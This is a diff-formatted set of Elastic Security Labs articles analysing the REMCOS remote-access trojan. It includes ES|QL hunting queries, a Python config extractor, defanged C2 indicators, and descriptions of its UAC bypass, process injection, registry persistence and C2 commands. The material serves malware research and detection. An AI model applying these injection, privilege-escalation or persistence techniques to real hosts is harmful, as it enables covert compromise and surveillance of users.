| where occurrences == 1 and agents == 1
|
||||
```
|
||||
|
||||
Below is an example of matches on `iexplore.exe` (injected by REMCOS):
|
||||
|
||||

|
||||
|
||||
|
||||
The second method takes multiple screenshots and saves them as jpg files with a specific naming pattern starting with `time_year-month-day_hour-min-sec.jpb` (e.g. `time_20240308_171037.jpg`). The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can be used to identify suspicious processes with similar behavior :
|
||||
|
||||
```
|
||||
from logs-endpoint.events.file*
|
||||
|
||||
/* remcos screenshots naming pattern */
|
||||
|
||||
| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension == "jpg" and file.name rlike """time_202\d{5}_\d{6}.jpg"""
|
||||
| stats occurrences = count(*), agents = count_distinct(host.id) by process.name, process.entity_id
|
||||
|
||||
/* number of screenshots i more than 5 by same process.pid and this behavior is limited to a unique host/process */
|
||||
|
||||
| where occurrences >= 5 and agents == 1
|
||||
```
|
||||
|
||||
The following image shows both REMCOS and the injected iexplore.exe instance (further investigation can be done by pivoting by the [process.entity_id](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id)):
|
||||
|
||||

|
||||
|
||||
|
||||
The third collection method is an audio recording saved as WAV files. The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can be used to find rare processes dropping WAV files:
|
||||
|
||||
```
|
||||
from logs-endpoint.events.file*
|
||||
| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension == "wav"
|
||||
|
||||
/* normalize process paths to ease aggregation by process path */
|
||||
|
||||
| eval process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "")
|
||||
| eval process_path = replace(process_path, """[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\""", "C:\\\\users\\\\user\\\\")
|
||||
| stats wav_files_count = count(*), agents = count_distinct(host.id) by process_path
|
||||
|
||||
/* limit results to unique process observed in 1 agent and number of dropped wav files is less than 20 */
|
||||
|
||||
| where agents == 1 and wav_files_count <= 10
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
The following [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-language.html) hunt can also look for processes that drop both JPG and WAV files using the same `process.pid` :
|
||||
|
||||
```
|
||||
from logs-endpoint.events.file*
|
||||
| where event.category == "file" and host.os.family == "windows" and event.action == "creation" and file.extension in ("wav", "jpg") and
|
||||
|
||||
/* excluding privileged processes and limiting the hunt to unsigned
|
||||
process or signed by untrusted certificate or signed by Microsoft */
|
||||
|
||||
not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and (process.code_signature.trusted == false or process.code_signature.exists == false or starts_with(process.code_signature.subject_name, "Microsoft"))
|
||||
| eval wav_pids = case(file.extension == "wav", process.entity_id, null), jpg_pids = case(file.extension == "jpg", process.entity_id, null), others = case(file.extension != "wav" and file.extension != "jpg", process.entity_id, null)
|
||||
|
||||
/* number of jpg and wav files created by unique process identifier */
|
||||
|
||||
| stats count_wav_files = count(wav_pids), count_jpg_files = count(jpg_pids), other_files = count(others) by process.entity_id, process.name
|
||||
|
||||
/* limit results to same process dropping both file extensions */
|
||||
|
||||
| where count_jpg_files >= 1 and count_wav_files >= 1
|
||||
```
|
||||
|
||||
Examples of matches on both REMCOS and the injected `iexplore.exe` process:
|
||||
|
||||

|
||||
|
||||
|
||||
Pivoting by [process.entity_id](https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id) to further investigate suspicious processes, installers, browsers, and decompression utilities are often the most observed false positives.
|
||||
|
||||
## YARA rule
|
||||
|
||||
The REMCOS version 4.9.3 is detected statically using the following [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar) produced by Elastic Security Labs
|
||||
|
||||
## Malware and MITRE ATT&CK
|
||||
|
||||
Elastic uses the[ MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the _why_ of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
* [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
* [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
* [Privilege Escalation](https://attack.mitre.org/tactics/TA0004)
|
||||
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)
|
||||
* [Credential Access](https://attack.mitre.org/tactics/TA0006)
|
||||
* [Discovery](https://attack.mitre.org/tactics/TA0007)
|
||||
* [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
|
||||
### Techniques
|
||||
|
||||
Techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
* [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)
|
||||
* [Visual Basic](https://attack.mitre.org/techniques/T1059/005)
|
||||
* [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)
|
||||
* [Process Injection](https://attack.mitre.org/techniques/T1055)
|
||||
* [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003)
|
||||
* [Encrypted Channel](https://attack.mitre.org/techniques/T1573)
|
||||
* [System Binary Proxy Execution: CMSTP](https://attack.mitre.org/techniques/T1218/003/)
|
||||
* [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002/)
|
||||
|
||||
## Conclusion
|
||||
|
||||
As the REMCOS continues to rapidly evolve, our in-depth analysis of version 4.9.3 offers critical insights that can significantly aid the malware research community in comprehending and combatting this pervasive threat.
|
||||
|
||||
By uncovering its features and capabilities in this series, we provide essential information that enhances understanding and strengthens defenses against this malicious software.
|
||||
|
||||
We've also shown that our Elastic Defend product can detect and stop the REMCOS threat. As this article demonstrates, our new query language, ES|QL, makes hunting for threats simple and effective.
|
||||
|
||||
Elastic Security Labs remains committed to this endeavor as part of our open-source philosophy, which is dedicated to sharing knowledge and collaborating with the broader cybersecurity community. Moving forward, we will persist in analyzing similar malware families, contributing valuable insights to bolster collective defense against emerging cyber threats.
|
||||
|
||||
## Sample hashes and C2s
|
||||
|
||||
(Analysis reference) **0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5**
|
||||
|
||||
remchukwugixiemu4.duckdns[.]org:57844
|
||||
|
||||
remchukwugixiemu4.duckdns[.]org:57846
|
||||
|
||||
remchukwugix231fgh.duckdns[.]org:57844
|
||||
|
||||
remchukwugix231fgh.duckdns[.]org:57846
|
||||
|
||||
**3e32447ea3b5f07c7f6a180269f5443378acb32c5d0e0bf01a5e39264f691587**
|
||||
|
||||
122.176.133[.]66:2404
|
||||
|
||||
122.176.133[.]66:2667
|
||||
|
||||
**8c9202885700b55d73f2a76fbf96c1b8590d28b061efbadf9826cdd0e51b9f26**
|
||||
|
||||
43.230.202[.]33:7056
|
||||
|
||||
**95dfdb588c7018babd55642c48f6bed1c281cecccbd522dd40b8bea663686f30**
|
||||
|
||||
107.175.229[.]139:8087
|
||||
|
||||
**517f65402d3cf185037b858a5cfe274ca30090550caa39e7a3b75be24e18e179**
|
||||
|
||||
money001.duckdns[.]org:9596
|
||||
|
||||
**b1a149e11e9c85dd70056d62b98b369f0776e11b1983aed28c78c7d5189cfdbf**
|
||||
|
||||
104.250.180[.]178:7902
|
||||
|
||||
**ba6ee802d60277f655b3c8d0215a2abd73d901a34e3c97741bc377199e3a8670**
|
||||
|
||||
185.70.104[.]90:2404
|
||||
|
||||
185.70.104[.]90:8080
|
||||
|
||||
185.70.104[.]90:465
|
||||
|
||||
185.70.104[.]90:80
|
||||
|
||||
77.105.132[.]70:80
|
||||
|
||||
77.105.132[.]70:8080
|
||||
|
||||
77.105.132[.]70:2404
|
||||
|
||||
77.105.132[.]70:465
|
||||
|
||||
## Research references
|
||||
|
||||
* [https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing)
|
||||
* [https://www.jaiminton.com/reverse-engineering/remcos](https://www.jaiminton.com/reverse-engineering/remcos)
|
||||
* [https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf](https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf)
|
|
@ -0,0 +1,311 @@
|
|||
---
|
||||
title: "Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One"
|
||||
slug: "dissecting-remcos-rat-part-one"
|
||||
date: "2024-04-24"
|
||||
subtitle: "Part one: Introduction to REMCOS and diving into its initialization procedure"
|
||||
description: "This malware research article describes the REMCOS implant at a high level, and provides background for future articles in this multipart series."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: samir-bousseaden
|
||||
image: "Security Labs Images 36.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- malware-analysis
|
||||
- remcos
|
||||
---
|
||||
|
||||
In the first article in this multipart series, malware researchers on the Elastic Security Labs team give a short introduction about the REMCOS threat and dive into the first half of its execution flow, from loading its configuration to cleaning the infected machine web browsers.
|
||||
|
||||
## Introduction
|
||||
|
||||
Elastic Security Labs continues its examination of high-impact threats, focusing on the internal complexities of REMCOS version 4.9.3 Pro (November 26, 2023).
|
||||
|
||||
Developed by [Breaking-Security](https://breakingsecurity.net/), REMCOS is a piece of software that began life as a red teaming tool but has since been adopted by threats of all kinds targeting practically every sector.
|
||||
|
||||
When we performed our analysis in mid-January, it was the most prevalent malware family [reported by ANY.RUN](https://any.run/malware-trends/). Furthermore, it remains under active development, as evidenced by the [recent announcement](https://breakingsecurity.net/remcos/changelog/) of version 4.9.4's release by the company on March 9, 2024.
|
||||
|
||||
All the samples we analyzed were derived from the same REMCOS 4.9.3 Pro x86 build. The software is coded in C++ with intensive use of the `std::string` class for its string and byte-related operations.
|
||||
|
||||
REMCOS is packed with a wide range of functionality, including evasion techniques, privilege escalation, process injection, recording capabilities, etc.
|
||||
|
||||
This article series provides an extensive analysis of the following:
|
||||
- Execution and capabilities
|
||||
- Detection and hunting strategies using Elastic’s ES|QL queries
|
||||
- Recovery of approximately 80% of its configuration fields
|
||||
- Recovery of about 90% of its C2 commands
|
||||
- Sample virtual addresses under each IDA Pro screenshot
|
||||
- And more!
|
||||
|
||||

|
||||
|
||||
|
||||
For any questions or feedback, feel free to reach out to us on social media [@elasticseclabs](https://twitter.com/elasticseclabs) or in the Elastic [Community Slack](https://elasticstack.slack.com).
|
||||
|
||||
### Loading the configuration
|
||||
|
||||
The REMCOS configuration is stored in an encrypted blob within a resource named ```SETTINGS```. This name appears consistent across different versions of REMCOS.
|
||||
|
||||

|
||||
|
||||
|
||||
The malware begins by loading the encrypted configuration blob from its resource section.
|
||||
|
||||

|
||||
|
||||
|
||||
To load the encrypted configuration, we use the following Python script and the [Lief](https://pypi.org/project/lief/) module.
|
||||
|
||||
```
|
||||
import lief
|
||||
|
||||
def read_encrypted_configuration(path: pathlib.Path) -> bytes | None:
|
||||
if not (pe := lief.parse(path)):
|
||||
return None
|
||||
|
||||
for first_level_child in pe.resources.childs:
|
||||
if first_level_child.id != 10:
|
||||
continue
|
||||
|
||||
for second_level_child in first_level_child.childs:
|
||||
if second_level_child.name == "SETTINGS":
|
||||
return bytes(second_level_child.childs[0].content)
|
||||
```
|
||||
|
||||
We can confirm that version 4.9.3 maintains the same structure and decryption scheme as previously described by [Fortinet researchers](https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing):
|
||||
|
||||

|
||||
|
||||
|
||||
We refer to the “encrypted configuration” as the structure that contains the decryption key and the encrypted data blob, which appears as follows:
|
||||
|
||||
```
|
||||
struct ctf::EncryptedConfiguration
|
||||
{
|
||||
uint8_t key_size;
|
||||
uint8_t key[key_size];
|
||||
uint8_t data
|
||||
};
|
||||
```
|
||||
|
||||
The configuration is still decrypted using the RC4 algorithm, as seen in the following screenshot.
|
||||
|
||||

|
||||
|
||||
|
||||
To decrypt the configuration, we employ the following algorithm.
|
||||
|
||||
```
|
||||
def decrypt_encrypted_configuration(
|
||||
encrypted_configuration: bytes,
|
||||
) -> tuple[bytes, bytes]:
|
||||
key_size = int.from_bytes(encrypted_configuration[:1], "little")
|
||||
key = encrypted_configuration[1 : 1 + key_size]
|
||||
return key, ARC4.ARC4Cipher(key).decrypt(encrypted_configuration[key_size + 1 :])
|
||||
```
|
||||
|
||||
The configuration is used to initialize a global vector that we call ```g_configuration_vector``` by splitting it with the string ```\x7c\x1f\x1e\x1e\x7c``` as a delimiter.
|
||||
|
||||

|
||||
|
||||
|
||||
We provide a detailed explanation of the configuration later in this series.
|
||||
|
||||
### UAC Bypass
|
||||
|
||||
When the ```enable_uac_bypass_flag``` (index ```0x2e```) is enabled in the configuration, REMCOS attempts a UAC bypass using a known COM-based technique.
|
||||
|
||||

|
||||
|
||||
|
||||
Beforehand, the REMCOS masquerades its process in an effort to avoid detection.
|
||||
|
||||

|
||||
|
||||
|
||||
REMCOS modifies the PEB structure of the current process by replacing the image path and command line with the ```explorer.exe``` string while saving the original information in global variables for later use.
|
||||
|
||||

|
||||
|
||||
|
||||
The well-known [technique](https://attack.mitre.org/techniques/T1218/003/) exploits the ```CoGetObject``` API to pass the ```Elevation:Administrator!new:``` moniker, along with the ```CMSTPLUA``` CLSID and ```ICMLuaUtil``` IID, to instantiate an elevated COM interface. REMCOS then uses the ```ShellExec()``` method of the interface to launch a new process with administrator privileges, and exit.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
This technique was previously documented in an Elastic Security Labs article from 2023: [Exploring Windows UAC Bypasses: Techniques and Detection Strategies](https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies).
|
||||
|
||||
Below is a recent screenshot of the detection of this exploit using the Elastic Defend agent.
|
||||
|
||||

|
||||
|
||||
|
||||
### Disabling UAC
|
||||
|
||||
When the ```disable_uac_flag``` is enabled in the configuration (index ```0x27```), REMCOS [disables UAC](https://attack.mitre.org/techniques/T1548/002/) in the registry by setting the ```HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUA``` value to ```0``` using the ```reg.exe``` Windows binary."
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Install and persistence
|
||||
|
||||
When ```enable_install_flag``` (index ```0x3```) is activated in the configuration, REMCOS will install itself on the host machine.
|
||||
|
||||

|
||||
|
||||
|
||||
The installation path is constructed using the following configuration values:
|
||||
- ```install_parent_directory``` (index ```0x9```)
|
||||
- ```install_directory``` (```0x30```)
|
||||
- ```install_filename``` (```0xA```)
|
||||
|
||||
The malware binary is copied to ```{install_parent_directory}/{install_directory}/{install_filename}```. In this example, it is ```%ProgramData%\Remcos\remcos.exe```.
|
||||
|
||||

|
||||
|
||||
|
||||
If the ```enable_persistence_directory_and_binary_hiding_flag``` (index ```0xC```) is enabled in the configuration, the install folder and the malware binary are set to super hidden (even if the user enables showing hidden files or folders the file is kept hidden by Windows to protect files with system attributes) and read-only by applying read-only, hidden, and system attributes to them.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
After installation, REMCOS establishes persistence in the registry depending on which of the following flags are enabled in the configuration:
|
||||
- ```enable_hkcu_run_persistence_flag``` (index ```0x4```)
|
||||
```HKCU\Software\Microsoft\Windows\CurrentVersion\Run\```
|
||||
- ```enable_hklm_run_persistence_flag``` (index ```0x5```)
|
||||
```HKLM\Software\Microsoft\Windows\CurrentVersion\Run\```
|
||||
- ```enable_hklm_policies_explorer_run_flag``` (index ```0x8```)
|
||||
```HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\```
|
||||
|
||||

|
||||
|
||||
|
||||
The malware is then relaunched from the installation folder using ```ShellExecuteW```, followed by termination of the initial process.
|
||||
|
||||

|
||||
|
||||
|
||||
## Process injection
|
||||
|
||||
When the ```enable_process_injection_flag``` (index ```0xD```) is enabled in the configuration, REMCOS injects itself into either a specified or a Windows process chosen from an hardcoded list to evade detection.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The ```enable_process_injection_flag``` can be either a boolean or the name of a target process. When set to true (1), the injected process is chosen in a “best effort” manner from the following options:
|
||||
- ```iexplorer.exe```
|
||||
- ```ieinstal.exe```
|
||||
- ```ielowutil.exe```
|
||||
|
||||

|
||||
|
||||
|
||||
*Note: there is only one injection method available in REMCOS, when we talk about process injection we are specifically referring to the method outlined here*
|
||||
|
||||
REMCOS uses a classic ```ZwMapViewOfSection``` + ```SetThreadContext``` + ```ResumeThread``` technique for process injection. This involves copying itself into the injected binary via shared memory, mapped using ```ZwMapViewOfSection``` and then hijacking its execution flow to the REMCOS entry point using ```SetThreadContext``` and ```ResumeThread``` methods.
|
||||
|
||||
It starts by creating the target process in suspended mode using the ```CreateProcessW``` API and retrieving its thread context using the ```GetThreadContext``` API.
|
||||
|
||||

|
||||
|
||||
|
||||
Then, it creates a shared memory using the ```ZwCreateSection``` API and maps it into the target process using the ```ZwMapViewOfSection``` API, along with the handle to the remote process.
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
The binary is next loaded into the remote process by copying its header and sections into shared memory.
|
||||
|
||||

|
||||
|
||||
|
||||
Relocations are applied if necessary. Then, the PEB ```ImageBaseAddress``` is fixed using the ```WriteProcessMemory``` API. Subsequently, the thread context is set with a new entry point pointing to the REMCOS entry point, and process execution resumes.
|
||||
|
||||

|
||||
|
||||
|
||||
Below is the detection of this process injection technique by our agent:
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## Setting up logging mode
|
||||
|
||||
REMCOS has three logging mode values that can be selected with the ```logging_mode``` (index ```0x28```) field of the configuration:
|
||||
- 0: No logging
|
||||
- 1: Start minimized in tray icon
|
||||
- 2: Console logging
|
||||
|
||||

|
||||
|
||||
|
||||
Setting this field to 2 enables the console, even when process injection is enabled, and exposes additional information.
|
||||
|
||||

|
||||
|
||||
|
||||
## Cleaning browsers
|
||||
|
||||
When the ```enable_browser_cleaning_on_startup_flag``` (index ```0x2B```) is enabled, REMCOS will delete cookies and login information from the installed web browsers on the host.
|
||||
|
||||

|
||||
|
||||
|
||||
According to the [official documentation](https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf) the goal of this capability is to increase the system security against password theft:
|
||||
|
||||

|
||||
|
||||
|
||||
Currently, the supported browsers are Internet Explorer, Firefox, and Chrome.
|
||||
|
||||

|
||||
|
||||
|
||||
The cleaning process involves deleting cookies and login files from browsers' known directory paths using the ```FindFirstFileA```, ```FindNextFileA```, and ```DeleteFileA``` APIs:
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
When the job is completed, REMCOS prints a message to the console.
|
||||
|
||||

|
||||
|
||||
|
||||
It's worth mentioning two related fields in the configuration:
|
||||
- ```enable_browser_cleaning_only_for_the_first_run_flag``` (index ```0x2C```)
|
||||
- ```browser_cleaning_sleep_time_in_minutes``` (index ```0x2D```)
|
||||
|
||||
The ```browser_cleaning_sleep_time_in_minutes``` configuration value determines how much time REMCOS will sleep before performing the job.
|
||||
|
||||

|
||||
|
||||
|
||||
When ```enable_browser_cleaning_only_for_the_first_run_flag``` is enabled, the cleaning will occur only at the first run of REMCOS. Afterward, the ```HKCU/SOFTWARE/{mutex}/FR``` registry value is set.
|
||||
|
||||
On subsequent runs, the function directly returns if the value exists and is set in the registry.
|
||||
|
||||

|
||||
|
||||
|
||||
That’s the end of the first article. The second part will cover the second half of REMCOS' execution flow, starting from its watchdog to the first communication with its C2.
|
|
@ -0,0 +1,367 @@
|
|||
---
|
||||
title: "Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three"
|
||||
slug: "dissecting-remcos-rat-part-three"
|
||||
date: "2024-05-03"
|
||||
subtitle: "Part three: Configuration and commands"
|
||||
description: "In previous articles in this multipart series, malware researchers on the Elastic Security Labs team dove into the REMCOS execution flow. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: samir-bousseaden
|
||||
image: "Security Labs Images 14.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- malware-analysis
|
||||
- remcos
|
||||
---
|
||||
|
||||
In [previous](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one) [articles](https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two) in this multipart series, malware researchers on the Elastic Security Labs team analyzed REMCOS execution flow, detailing its recording capabilities and its communication with C2. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.
|
||||
|
||||
## The configuration
|
||||
|
||||
In this section, we provide a comprehensive overview of the configuration fields of the malware.
|
||||
|
||||
### Configuration Table
|
||||
|
||||
Researchers successfully recovered approximately 80% of the configuration structure (45 out of 56 fields). We provide detailed configuration information in the following table:
|
||||
|
||||
|
||||
| Index | Name | Description |
|
||||
| --- | --- | --- |
|
||||
| 0x0 | c2_list | String containing “domain:port:enable_tls“ separated by the “\x1e” character |
|
||||
| 0x1 | botnet | Name of the botnet |
|
||||
| 0x2 | connect_interval | Interval in second between connection attempt to C2 |
|
||||
| 0x3 | enable_install_flag | Install REMCOS on the machine host |
|
||||
| 0x4 | enable_hkcu_run_persistence_flag | Enable setup of the persistence in the registry |
|
||||
| 0x5 | enable_hklm_run_persistence_flag | Enable setup of the persistence in the registry |
|
||||
| 0x7 | keylogger_maximum_file_size | Maximum size of the keylogging data before rotation |
|
||||
| 0x8 | enable_hklm_policies_explorer_run_flag | Enable setup of the persistence in the registry |
|
||||
| 0x9 | install_parent_directory | Parent directory of the install folder. Integer mapped to an hardcoded path |
|
||||
| 0xA | install_filename | Name of the REMCOS binary once installed |
|
||||
| 0xC | enable_persistence_directory_and_binary_hidding_flag | Enable super hiding the install directory and binary as well as setting them to read only |
|
||||
| 0xD | enable_process_injection_flag | Enable running the malware injected in another process |
|
||||
| 0xE | mutex | String used as the malware mutex and registry key |
|
||||
| 0xF | keylogger_mode | Set keylogging capability. Keylogging mode, 0 = disabled, 1 = keylogging everything, 2 = keylogging specific window(s) |
|
||||
| 0x10 | keylogger_parent_directory | Parent directory of the keylogging folder. Integer mapped to an hardcoded path |
|
||||
| 0x11 | keylogger_filename | Filename of the keylogged data |
|
||||
| 0x12 | enable_keylogger_file_encryption_flag | Enable encryption RC4 of the keylogger data file |
|
||||
| 0x13 | enable_keylogger_file_hidding_flag | Enable super hiding of the keylogger data file |
|
||||
| 0x14 | enable_screenshot_flag | Enable screen recording capability |
|
||||
| 0x15 | screenshot_interval_in_minutes | The time interval in minute for capturing each screenshot |
|
||||
| 0x16 | enable_screenshot_specific_window_names_flag | Enable screen recording for specific window names |
|
||||
| 0x17 | screenshot_specific_window_names | String containing window names separated by the “;” character |
|
||||
| 0x18 | screenshot_specific_window_names_interval_in_seconds | The time interval in second for capturing each screenshot when a specific window name is found in the current foreground window title |
|
||||
| 0x19 | screenshot_parent_directory | Parent directory of the screenshot folder. Integer mapped to an hardcoded path |
|
||||
| 0x1A | screenshot_folder | Name of the screenshot folder |
|
||||
| 0x1B | enable_screenshot_encryption_flag | Enable encryption of screenshots |
|
||||
| 0x23 | enable_audio_recording_flag | Enable audio recording capability |
|
||||
| 0x24 | audio_recording_duration_in_minutes | Duration in second of each audio recording |
|
||||
| 0x25 | audio_record_parent_directory | Parent directory of the audio recording folder. Integer mapped to an hardcoded path |
|
||||
| 0x26 | audio_record_folder | Name of the audio recording folder |
|
||||
| 0x27 | disable_uac_flag | Disable UAC in the registry |
|
||||
| 0x28 | logging_mode | Set logging mode: 0 = disabled, 1 = minimized in tray, 2 = console logging |
|
||||
| 0x29 | connect_delay_in_second | Delay in second before the first connection attempt to the C2 |
|
||||
| 0x2A | keylogger_specific_window_names | String containing window names separated by the “;” character |
|
||||
| 0x2B | enable_browser_cleaning_on_startup_flag | Enable cleaning web browsers’ cookies and logins on REMCOS startup |
|
||||
| 0x2C | enable_browser_cleaning_only_for_the_first_run_flag | Enable web browsers cleaning only on the first run of Remcos |
|
||||
| 0x2D | browser_cleaning_sleep_time_in_minutes | Sleep time in minute before cleaning the web browsers |
|
||||
| 0x2E | enable_uac_bypass_flag | Enable UAC bypass capability |
|
||||
| 0x30 | install_directory | Name of the install directory |
|
||||
| 0x31 | keylogger_root_directory | Name of the keylogger directory |
|
||||
| 0x32 | enable_watchdog_flag | Enable watchdog capability |
|
||||
| 0x34 | license | License serial |
|
||||
| 0x35 | enable_screenshot_mouse_drawing_flag | Enable drawing the mouse on each screenshot |
|
||||
| 0x36 | tls_raw_certificate | Certificate in raw format used with tls enabled C2 communication |
|
||||
| 0x37 | tls_key | Key of the certificate |
|
||||
| 0x38 | tls_raw_peer_certificate | C2 public certificate in raw format |
|
||||
|
||||
### Integer to path mapping
|
||||
|
||||
REMCOS utilizes custom mapping for some of its "folder" fields instead of a string provided by the user.
|
||||
|
||||

|
||||
|
||||
We provide details of the mapping below:
|
||||
|
||||
| Value | Path |
|
||||
| --- | --- |
|
||||
| 0 | %Temp% |
|
||||
| 1 | Current malware directory |
|
||||
| 2 | %SystemDrive% |
|
||||
| 3 | %WinDir% |
|
||||
| 4 | %WinDir%//SysWOW64|system32 |
|
||||
| 5 | %ProgramFiles% |
|
||||
| 6 | %AppData% |
|
||||
| 7 | %UserProfile% |
|
||||
| 8 | %ProgramData%|%ProgramFiles% |
|
||||
|
||||
### Configuration extraction, an inside perspective
|
||||
|
||||
We enjoy building tools, and we'd like to take this opportunity to provide some insight into the type of tools we develop to aid in our analysis of malware families like REMCOS.
|
||||
|
||||
We developed a configuration extractor called "conf-tool", which not only extracts and unpacks the configuration from specific samples but can also repackage it with modifications.
|
||||
|
||||

|
||||
|
||||
|
||||
First, we unpack the configuration.
|
||||
|
||||

|
||||
|
||||
|
||||
The configuration is saved to the disk as a JSON document, with each field mapped to its corresponding type.
|
||||
|
||||

|
||||
|
||||
|
||||
We are going to replace all the domains in the list with the IP address of our C2 emulator to initiate communication with the sample.
|
||||
|
||||

|
||||
|
||||
|
||||
We are also enabling the logging mode to console (2):
|
||||
|
||||

|
||||
|
||||
|
||||
Once we're done, repack everything:
|
||||

|
||||
|
||||
|
||||
And voilà, we have the console, and the sample attempts to connect to our emulator!
|
||||
|
||||

|
||||
|
||||
|
||||
We are releasing a [REMCOS malware configuration extractor](https://github.com/elastic/labs-releases/tree/main/extractors/remcos) that includes some of these features.
|
||||
|
||||
## C2 commands
|
||||
|
||||
In this section, we present a list of all the commands we've reversed that are executable by the Command and Control (C2). Furthermore, we provide additional details for a select subset of commands.
|
||||
|
||||
### Command table
|
||||
|
||||
Researchers recovered approximately 95% of the commands (74 out of 78). We provide information about the commands in the following table:
|
||||
|
||||
| Function | Name |
|
||||
| --- | --- |
|
||||
| 0x1 | HeartBeat |
|
||||
| 0x2 | DisableKeepAlive |
|
||||
| 0x3 | ListInstalledApplications |
|
||||
| 0x6 | ListRunningProcesses |
|
||||
| 0x7 | TerminateProcess |
|
||||
| 0x8 | ListProcessesWindows |
|
||||
| 0x9 | CloseWindow |
|
||||
| 0xA | ShowWindowMaximized |
|
||||
| 0xB | ShowWindowRestore |
|
||||
| 0xC | TerminateProcessByWindowHandleAndListProcessesWindows |
|
||||
| 0xD | ExecuteShellCmd |
|
||||
| 0xE | StartPipedShell |
|
||||
| 0xF | ExecuteProgram |
|
||||
| 0x10 | MaybeUploadScreenshots |
|
||||
| 0x11 | GetHostGeolocation |
|
||||
| 0x12 | GetOfflineKeyloggerInformation |
|
||||
| 0x13 | StartOnlineKeylogger |
|
||||
| 0x14 | StopOnlineKeylogger |
|
||||
| 0x15 | MaybeSetKeyloggerNameAndUploadData |
|
||||
| 0x16 | UploadKeyloggerData |
|
||||
| 0x17 | DeleteKeyloggerDataThenUploadIfAnythingNewInbetween |
|
||||
| 0x18 | CleanBrowsersCookiesAndLogins |
|
||||
| 0x1B | StartWebcamModule |
|
||||
| 0x1C | StopWebcamModule |
|
||||
| 0x1D | EnableAudioCapture |
|
||||
| 0x1E | DisableAudioCapture |
|
||||
| 0x1F | StealPasswords |
|
||||
| 0x20 | DeleteFile |
|
||||
| 0x21 | TerminateSelfAndWatchdog |
|
||||
| 0x22 | Uninstall |
|
||||
| 0x23 | Restart |
|
||||
| 0x24 | UpdateFromURL |
|
||||
| 0x25 | UpdateFromC2 |
|
||||
| 0x26 | MessageBox |
|
||||
| 0x27 | ShutdownOrHibernateHost |
|
||||
| 0x28 | UploadClipboardData |
|
||||
| 0x29 | SetClipboardToSpecificData |
|
||||
| 0x2A | EmptyClipboardThenUploadIfAnythingInbetween |
|
||||
| 0x2B | LoadDllFromC2 |
|
||||
| 0x2C | LoadDllFromURL |
|
||||
| 0x2D | StartFunFuncModule |
|
||||
| 0x2F | EditRegistry |
|
||||
| 0x30 | StartChatModule |
|
||||
| 0x31 | SetBotnetName |
|
||||
| 0x32 | StartProxyModule |
|
||||
| 0x34 | ManageService |
|
||||
| 0x8F | SearchFile |
|
||||
| 0x92 | SetWallpaperFromC2 |
|
||||
| 0x94 | SetWindowTextThenListProcessesWindow |
|
||||
| 0x97 | UploadDataFromDXDiag |
|
||||
| 0x98 | FileManager |
|
||||
| 0x99 | ListUploadScreenshots |
|
||||
| 0x9A | DumpBrowserHistoryUsingNirsoft |
|
||||
